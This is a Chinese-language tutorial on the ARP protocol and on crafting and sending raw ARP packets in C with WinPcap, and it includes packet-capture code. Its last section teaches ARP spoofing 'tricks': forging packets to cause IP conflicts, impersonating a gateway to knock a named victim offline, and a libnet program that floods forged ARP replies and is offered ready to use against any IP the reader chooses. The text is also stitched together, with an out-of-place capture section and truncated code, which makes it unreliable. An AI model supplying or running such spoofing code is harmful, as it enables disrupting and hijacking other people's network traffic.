一. 关于ARP协议的基础知识
1.ARP的工作原理
我们都知道以太网设备比如网卡都有自己全球唯一的MAC地址,它们是以MAC地址来传输以太网数据包的,但是它们却识别不了我们IP包中的IP地址,所以我们在以太网中进行IP通信的时候就需要一个协议来建立IP地址与MAC地址的对应关系,以使IP数据包能发到一个确定的地方去。这就是ARP(Address Resolution Protocol,地址解析协议)。
讲到此处,我们可以在命令行窗口中,输入
arp –a
来看一下效果,类似于这样的条目
210.118.45.100 00-0b-5f-e6-c5-d7 dynamic
就是我们电脑里存储的关于IP地址与MAC地址的对应关系,dynamic表示是临时存储在ARP缓存中的条目,过一段时间就会超时被删除(xp/2003系统是2分钟)。
这样一来,比如我们的电脑要和一台机器比如210.118.45.1通信的时候,它会首先去检查arp缓存,查找是否有对应的arp条目,如果没有,它就会给这个以太网络发ARP请求包广播询问210.118.45.1的对应MAC地址,当然,网络中每台电脑都会收到这个请求包,但是它们发现210.118.45.1并非自己,就不会做出相应,而210.118.45.1就会给我们的电脑回复一个ARP应答包,告诉我们它的MAC地址是xx-xx-xx-xx-xx-xx,于是我们电脑的ARP缓存就会相应刷新,多了这么一条:
210.118.45.1 xx-xx-xx-xx-xx-xx dynamic
为什么要有这么一个ARP缓存呢,试想一下如果没有缓存,我们每发一个IP包都要发个广播查询地址,岂不是又浪费带宽又浪费资源?
而且我们的网络设备是无法识别ARP包的真伪的,如果我们按照ARP的格式来发送数据包,只要信息有效计算机就会根据包中的内容做相应的反应.
试想一下,如果我们按照ARP响应包的相应的内容来刷新自己的ARP缓存中的列表,嘿嘿,那我们岂不是可以根据这点在没有安全防范的网络中玩些ARP包的小把戏了?在后面的文章里我就手把手来教你们如何填充发送ARP包,不过先别急,我们再继续学点基础知识^_^
2.ARP包的格式
既然我们要来做一个我们自己的ARP包,当然首先要学习一下ARP包的格式。
从网络底层看来,一个ARP包是分为两个部分的,前面一个是物理帧头,后面一个才是ARP帧。
首先,物理帧头,它将存在于任何一个协议数据包的前面,我们称之为DLC Header,因为这个帧头是在数据链路层构造的,并且其主要内容为收发双方的物理地址,以便硬件设备识别。
DLC Header
字段 长度(Byte) 默认值 备注
接收方MAC 6 广播时,为 ff-ff-ff-ff-ff-ff
发送方MAC 6
Ethertype 2 0x0806 0x0806是ARP帧的类型值
图1 物理帧头格式
图1是需要我们填充的物理帧头的格式,我们可以看到需要我们填充的仅仅是发送端和接收端的物理地址罢了,是不是很简单呢?
接下来我们看一下ARP帧的格式.
ARP Frame
字段 长度(Byte) 默认值 备注
硬件类型 2 0x1 以太网类型值
上层协议类型 2 0x0800 上层协议为IP协议
MAC地址长度 1 0x6 以太网MAC地址长度为 6
IP地址长度 1 0x4 IP地址长度为 4
操作码 2 0x1表示ARP请求包,0x2表示应答包
发送方MAC 6
发送方IP 4
接收方MAC 6
接收方IP 4
填充数据 18 因为物理帧最小长度为64字节,前面的42字节再加上4个CRC校验字节,还差18个字节
图2 ARP帧格式
我们可以看到需要我们填充的同样也只是MAC,IP,再加上一个1或2的操作码而已。
3.ARP包的填充
1) 请求包的填充:
比如我们的电脑MAC地址为 aa-aa-aa-aa-aa-aa,IP为 192.168.0.1
我们想要查询 192.168.0.99的MAC地址,应该怎么来做呢?
首先填充DLC Header,通过前面的学习我们知道,想要知道某个计算机对应的MAC地址是要给全网发送广播的,所以接收方MAC肯定是 ffffffffffff,发送方MAC当然是自己啦,于是我们的DLC Header就填充完成了,如图,加粗的是我们要手动输入的值(当然我编的程序比较智能,会根据你选择的ARP包类型帮你自动填入一些字段,你一用便知^_^)。
DLC Header
字段 长度(Byte) 填充值
接收方MAC 6 ffffffffffff
发送方MAC 6 aaaaaaaaaaaa
Ethertype 2 0x0806
图3 ARP请求包中 DLC Header内容
接下来是ARP帧,请求包的操作码当然是 1,发送方的MAC以及IP当然填入我们自己的,然后要注意一下,这里的接收方IP填入我们要查询的那个IP地址,就是192.168.0.99了,而接收方MAC填入任意值就行,不起作用,于是,如图,
ARP Frame
字段 长度(Byte) 填充值
硬件类型 2 1
上层协议类型 2 0800
MAC地址长度 1 6
IP地址长度 1 4
操作码 2 1
发送方MAC 6 aaaaaaaaaaaa
发送方IP 4 192.168.0.1
接收方MAC 6 任意值 xxxxxxxxxxxx
接收方IP 4 192.168.0.99
填充数据 18 0
图4 ARP请求包中 ARP帧的内容
如果我们构造一个这样的包发送出去,如果 192.168.0.99存在且是活动的,我们马上就会收到一个192.168.0.99发来的一个响应包,我们可以查看一下我们的ARP缓存列表,是不是多了一项类似这样的条目:
192.168.0.99 bb-bb-bb-bb-bb-bb
是不是很神奇呢?
我们再来看一下ARP响应包的构造
2) 响应包的填充
有了前面详细的解说,你肯定就能自己说出响应包的填充方法来了吧,所以我就不细说了,列两个表就好了
比如说给 192.168.0.99(MAC为 bb-bb-bb-bb-bb-bb)发一个ARP响应包,告诉它我们的MAC地址为 aa-aa-aa-aa-aa-aa,就是如此来填充各个字段
DLC Header
字段 长度(Byte) 填充值
接收方MAC 6 bbbbbbbbbbbb
发送方MAC 6 aaaaaaaaaaaa
Ethertype 2 0x0806
图5 ARP响应包中 DLC Header内容
ARP Frame
字段 长度(Byte) 填充值
硬件类型 2 1
上层协议类型 2 0800
MAC地址长度 1 6
IP地址长度 1 4
操作码 2 2
发送方MAC 6 aaaaaaaaaaaa
发送方IP 4 192.168.0.1
接收方MAC 6 bbbbbbbbbbbb
接收方IP 4 192.168.0.99
填充数据 18 0
图6 ARP响应包中 ARP帧的内容
这样192.168.0.99的ARP缓存中就会多了一条关于我们192.168.0.1的地址映射。
好了,终于到了编程实现它的时候了^_^
我们主要是要用到 pcap_open_live 函数,不过这个函数winpcap的开发小组已经建议用 pcap_open 函数来代替,不过因为我的代码里面用的就是pcap_open_live,所以也不便于修改了,不过pcap_open_live使用起来也是没有任何问题的,下面是pcap_open_live的函数声明:
/*************************************************
pcap_t* pcap_open_live ( char * device,
int snaplen,
int promisc,
int to_ms,
char * ebuf
)
功能:
根据网卡名字打开网卡,并设置为混杂模式,然后返回其句柄
参数:
Device : 就是前前面我们获得的网卡的名字;
Snaplen : 我们从每个数据包里取得数据的长度,比如设置为100,则每次我们只是获得每个数据包 100 个长度的数据,没有什么特殊需求的话就把它设置为65535最大值就可以了;
Promisc:这个参数就是设置是否把网卡设置为“混杂模式”,设置为 1 即可;
to_ms : 超时时间,毫秒,一般设置为 1000即可。
返回值:
pcap_t : 类似于一个网卡“句柄”之类的,不过当然不是,这个参数是后面截获数据要用到的。
******************************************************************************/
虽然看起来比较复杂,不过用起来还是非常简单的,其实 1 行就OK了:
pcap_t* adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
// 打开网卡,并且设置为混杂模式
// pCardName是前面传来的网卡名字参数
adhandle = pcap_open_live(pCardName,65535,1,1000,errbuf);
C. 截获数据包并保存为文件:------------------------------------------------------
当然,不把数据包保存为文件也可以,不过如果不保存的话,只能在截获到数据包的那一瞬间进行分析,转眼就没了^_^
所以,为了便于日后分析,所以高手以及我个人经常是把数据包保存下来的慢慢分析的。
但是注意网络流量,在流量非常大的时候注意硬盘空间呵呵,常常几秒中就有好几兆是很正常的事情。
下面首先来详细讲解一下,这个步骤中需要用到的winpcap函数:
/**************************************************************
pcap_dumper_t* pcap_dump_open ( pcap_t * p,
const char * fname
)
功能:
建立或者打开存储数据包内容的文件,并返回其句柄
参数:
pcap_t * p :前面打开的网卡句柄;
const char * fname :要保存的文件名字
返回值:
pcap_dumper_t* : 保存文件的描述句柄,具体细节我们不用关心
***************************************************************/
/***************************************************************
int pcap_next_ex ( pcap_t * p,
struct pcap_pkthdr ** pkt_header,
u_char ** pkt_data
)
功能:
从网卡或者数据包文件中读取数据内容
参数:
pcap_t * p: 网卡句柄
struct pcap_pkthdr ** pkt_header: 并非是数据包的指针,只是与数据包捕获驱动有关的一个Header
u_char ** pkt_data:指向数据包内容的指针 ,包括了协议头
返回值:
1 : 如果成功读取数据包
0 :pcap_open_live()设定的超时时间之内没有读取到内容
-1: 出现错误
-2: 读文件时读到了末尾
***************************************************************/
/***************************************************************
void pcap_dump ( u_char * user,
const struct pcap_pkthdr * h,
const u_char * sp
)
功能:
将数据包内容依次写入pcap_dump_open()指定的文件中
参数:
u_char * user : 网卡句柄
const struct pcap_pkthdr * h: 并非是数据包的指针,只是与数据包捕获驱动有关的一个Header
const u_char * sp: 数据包内容指针
返回值:
Void
****************************************************************/
下面给出一段完整的捕获数据包的代码,是在线程中写的,为了程序清晰,我去掉了错误处理代码以及线程退出的代码,完整代码可下载文后的示例源码,老规矩,重要的步骤用粗体字标出。
我们实际在捕获数据包的时候也最好是把代码放到另外的线程中。
/*********************************************************
* 进程:
* 这个是程序的核心部分,完成数据包的截获
* 参数:
* pParam: 用户选择的用来捕获数据的网卡的名字
*********************************************************/
UINT CaptureThread(LPVOID pParam)
{
const char* pCardName=(char*)pParam; // 转换参数,获得网卡名字
pcap_t* adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
// 打开网卡,并且设置为混杂模式
adhandle=pcap_open_live(pCardName,65535,1,1000,errbuf); {
pcap_dumper_t* dumpfile;
// 建立存储截获数据包的文件
dumpfile=pcap_dump_open(adhandle, "Packet.dat");
int re;
pcap_pkthdr* header; // Header
u_char* pkt_data; // 数据包内容指针
// 从网卡或者文件中不停读取数据包信息
while((re=pcap_next_ex(adhandle,&header,(const u_char**)&pkt_data))>=0)
{
// 将捕获的数据包存入文件
pcap_dump((unsigned char*)dumpfile,header,pkt_data);
}
return 0;
}
将个线程加入到程序里面启动以后。。。等等,如何来启动这个线程就不用我说了吧,类似这样的代码就可以
::AfxBeginThread(CaptureThread,chNIC); // chNIC是网卡的名字,char* 类型
启动线程一段时间以后(几秒中就有效果了),可以看到数据包已经被成功的截获下来,并存储到程序目录下的Packet.dat文件中。
=====================================================
至此,数据包的截获方法就讲完了,大家看了这篇文章,其实你就一定也明白了,无论是raw socket的方法还是winpcap的方法,其实都很简单的,真的没有什么东西,只是会让不明白原理的人看起来很神秘而已,isn’t it?
呵呵,不过也不要高兴的太早,这个保存下来的数据包文件,你可以试着用UltraEdit打开这个文件看看,是不是大部分都是乱码?基本上没有什么可读性,这是因为:
此时捕获到的数据包并不仅仅是单纯的数据信息,而是包含有 IP头、 TCP头等信息头的最原始的数据信息,这些信息保留了它在网络传输时的原貌。通过对这些在低层传输的原始信息的分析可以得到有关网络的一些信息。由于这些数据经过了网络层和传输层的打包,因此需要根据其附加的帧头对数据包进行分析。
呵呵,所以我们要走的路还很长,这只是刚刚入门而已^_^
二. 发送ARP包的编程实现
1. 填充数据包
上面的那些关于ARP包各个字段的表格,对应在程序里就是结构体,对应于上面的表格,于是我们需要三个下面这样的结构体
// DLC Header
typedef struct tagDLCHeader
{
unsigned char DesMAC[6]; /* destination HW addrress */
unsigned char SrcMAC[6]; /* source HW addresss */
unsigned short Ethertype; /* ethernet type */
} DLCHEADER, *PDLCHEADER;
// ARP Frame
typedef struct tagARPFrame
{
unsigned short HW_Type; /* hardware address */
unsigned short Prot_Type; /* protocol address */
unsigned char HW_Addr_Len; /* length of hardware address */
unsigned char Prot_Addr_Len; /* length of protocol address */
unsigned short Opcode; /* ARP/RARP */
unsigned char Send_HW_Addr[6]; /* sender hardware address */
unsigned long Send_Prot_Addr; /* sender protocol address */
unsigned char Targ_HW_Addr[6]; /* target hardware address */
unsigned long Targ_Prot_Addr; /* target protocol address */
unsigned char padding[18];
} ARPFRAME, *PARPFRAME;
// ARP Packet = DLC header + ARP Frame
typedef struct tagARPPacket
{
DLCHEADER dlcHeader;
ARPFRAME arpFrame;
} ARPPACKET, *PARPPACKET;
这些结构体一定能看懂吧,在程序中就是对号入座就好了
1. 填充数据包
下面我举个填充包头的例子,我首先定义个了一个转换字符的函数,如下
/****************************************************************************
* Name & Params::
* formatStrToMAC
* (
* const LPSTR lpHWAddrStr : 用户输入的MAC地址字符串
* unsigned char *HWAddr : 返回的MAC地址字符串(赋给数据包结构体)
* )
* Purpose:
* 将用户输入的MAC地址字符转成数据包结构体需要的格式
****************************************************************************/
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)
{
unsigned int i, index = 0, value, temp;
unsigned char c;
_strlwr(lpHWAddrStr); // 转换成小写
for (i = 0; i < strlen(lpHWAddrStr); i++)
{
c = *(lpHWAddrStr + i);
if (( c>=’0’ && c<=’9’ ) || ( c>=’a’ && c<=’f’ ))
{
if (c>=’0’ && c<=’9’) temp = c - ’0’; // 数字
if (c>=’a’ && c<=’f’) temp = c - ’a’ + 0xa; // 字母
if ( (index % 2) == 1 )
{
value = value*0x10 + temp;
HWAddr[index/2] = value;
}
else value = temp;
index++;
}
if (index == 12) break;
}
}
// 开始填充各个字段
ARPPACKET ARPPacket; // 定义ARPPACKET结构体变量
memset(&ARPPacket, 0, sizeof(ARPPACKET)); // 数据包初始化
formatStrToMAC(“DLC源MAC字符串”,ARPPacket.dlcHeader.SrcMAC); // DLC帧头
formatStrToMAC(“DLC目的MAC字符串”,ARPPacket.dlcHeader.DesMAC);
formatStrToMAC(“ARP源MAC字符串”,ARPPacket.arpFrame.Send_HW_Addr); // 源MAC
ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP); // 源IP
formatStrToMAC(“ARP目的MAC字符串”,ARPPacket.arpFrame.Targ_HW_Addr); // 目的MAC
ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP); // 目的IP
ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType); // arp包类型
// 自动填充的常量
ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型
ARPPacket.arpFrame.HW_Type = htons((unsigned short)1); // 硬件类型
ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800); // 上层协议类型
ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6; // MAC地址长度
ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4; // IP地址长度
That’s all ! ^_^
填充完毕之后,我们需要做的就是把我们的ARPPACKET结构体发送出去
2.发送ARP数据包:
我们发送ARP包就要用到winpcap的api了,具体步骤及函数是这样的,为了简单易懂,我把错误处理的地方都去掉了,详见代码
/**********************************************************************
* Name & Params::
* SendARPPacket()
* Purpose:
* 发送ARP数据包
* Remarks:
* 用的是winpcap的api函数
***********************************************************************/
void SendARPPacket()
{
char *AdapterDeviceName =GetCurAdapterName(); // 首先获得获得网卡名字
lpAdapter = PacketOpenAdapter(AdapterDeviceName); // 根据网卡名字打开网卡
lpPacket = PacketAllocatePacket(); // 给PACKET结构指针分配内存
PacketInitPacket(lpPacket, &ARPPacket, sizeof(ARPPacket)); //初始化PACKET结构指针
// 其中的ARPPacket就是我们先前填充的ARP包
PacketSetNumWrites(lpAdapter, 1); // 每次只发送一个包
PacketSendPacket(lpAdapter, lpPacket, true) // Send !!!!! ^_^
PacketFreePacket(lpPacket); // 释放资源
PacketCloseAdapter(lpAdapter);
}
呵呵,至此,关于ARP包最关键的部分就讲完了,你现在就可以来随心所欲的发送自己的ARP包了
既然作为一篇“科普文章”,接下来我再讲一讲与整个项目有关的附加步骤以及说明
三.附加步骤以及说明
1. 如何在VC中使用winpcap驱动
虽然winpcap开发包使用起来非常简便,但是前期准备工作还是要费一番功夫的,缺一不可。^_^
首先就是要安装它的驱动程序了,可以到它的主页下载,更新很快的
http://winpcap.polito.it/install/default.htm
下载WinPcap auto-installer (driver +DLLs),直接安装就好了,或者我提供的代码包里面也有。
希望以后用winpcap作开发的朋友,还需要下载 Developer’s pack,解压即可。
然后,需要设置我们工程的附加包含目录为我们下载Developer’s pack开发包的Inclulde目录,连接器的附加依赖库设置为Developer’s pack的lib目录。
当然,因为我们的工作比较简单,就是借用winpcap发送数据包而已,所以只用从
winpcap开发包的include文件夹中,拷贝Packet32.h,到我们的工程来,并且包含它就可
以,但是要注意,Packet32.h本身还要包含一个Devioctl.h,也要一并拷贝进来,当然还有运
行库Packet.lib,一共就是需要拷贝3个文件了,如果加入库不用我多说了吧,在工程里面设
置,或者是在需要它的地方加入 #pragma comment(lib, "Packet.lib")了。
整个项目其实可以分为四个部分,填充数据包、发送数据包、枚举系统网卡列表和
相关信息以及枚举系统ARP缓存列表,下面我再讲一下如何获得系统的网卡以及ARP列
表,这两个部分都要用到IP Helper的api,所以要包含以及库文件Iphlpapi.lib,
其实都是很简单的,只用寥寥几行就OK了
2. 枚举系统网卡以及信息
最好是先定义关于网卡信息的一个结构体,这样显得结构比较清晰
// 网卡信息
typedef struct tagAdapterInfo
{
char szDeviceName[128]; // 名字
char szIPAddrStr[16]; // IP
char szHWAddrStr[18]; // MAC
DWORD dwIndex; // 编号
}INFO_ADAPTER, *PINFO_ADAPTER;
/*********************************************************************
* Name & Params::
* AddAdapInfoToList
* (
* CListCtrl& list : CARPPlayerDlg传入的list句柄
* )
* Purpose:
* 获得系统的网卡信息,并将其添加到list控件中
* Remarks:
* 获得网卡IP及MAC用到了IpHelper api GetAdaptersInfo
******************************************************************/
**************************
delete pIpNetTable;
}
}
这样一来,我们基本上大功告成了,其他还有一些东西在这里就不讲了,大家可以下载我的代码看看就好了。
下面我们来用ARP包玩一些小把戏 ^_^。
四.ARP包的游戏
既然我们可以自己来填充数据包,那么来玩些ARP的“小游戏”欺骗就是易如反掌了,当然,是在没有安全防护的网络里 ,比如只有hub或者交换机把你们相连,而没有路由分段……^_^
下面我就由浅入深的讲一些介绍一些关于ARP的小伎俩。
1. 小伎俩
1) 你可以试着发一个请求包广播,其中的ARP帧里关于你的信息填成这样:
(为了节省篇幅,我只写需要特别指出的填充字段)
发送方MAC 6 随便乱填一个错误的
发送方IP 4 填上你的IP
出现什么结果?是不是弹出一个IP地址冲突的提示?呵呵,同样的道理,如果发送方IP填成别人的,然后每隔1秒发一次………..-_-b
2) 比如你们都靠一个网关192.168.0.1 上网 ,如果你想让192.168.0.77 上不了网,就可以伪装成网关给192.168.0.77发一个错误的ARP响应包, like this
发送方MAC 6 随便乱填一个错误的
发送方IP 4 网关IP 192.168.0.1
接收方就填192.168.0.77的相关信息,发送之后,它还能上网不?
这样能折腾他好一阵子了,只要它的系统得不到正确的到网关的ARP映射表它就一直上不了网了
下面就是一个linux下简单的IP冲突源码 如果想要在window下使用只要改几个关键字就行了
#include
int main(int argc, char **argv)
{
libnet_t *l;
char errbuf[256];
char brocase[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
char eg_src[6] = {0x01,0x02,0x03,0x04,0x05,0x06};
char ip_src[4] = {0xC0,0xA8,0xA,0x1};
char hz[6] = {0x00,0x12,0x00,0x00,0x00,0x00};
char ipz[4] = {0xC0,0xA8,0xA,0x50};
l = libnet_init(LIBNET_LINK_ADV, "eth0",errbuf);
libnet_build_arp(ARPHRD_ETHER,ETHERTYPE_IP,6,4,2,eg_src,ip_src,hz,ipz,NULL,0,l,0);
libnet_autobuild_ethernet(brocase,ETHERTYPE_ARP,l);
while(1)
libnet_write(l);
libnet_destroy(l);
return 0;
}
简单吧 但是还是有一定的功能的 只需将IP(IP_SRC ,IPZ)地址改为你要攻击的IP地址就可以用了(在使用前需安装libnet 才可以哦)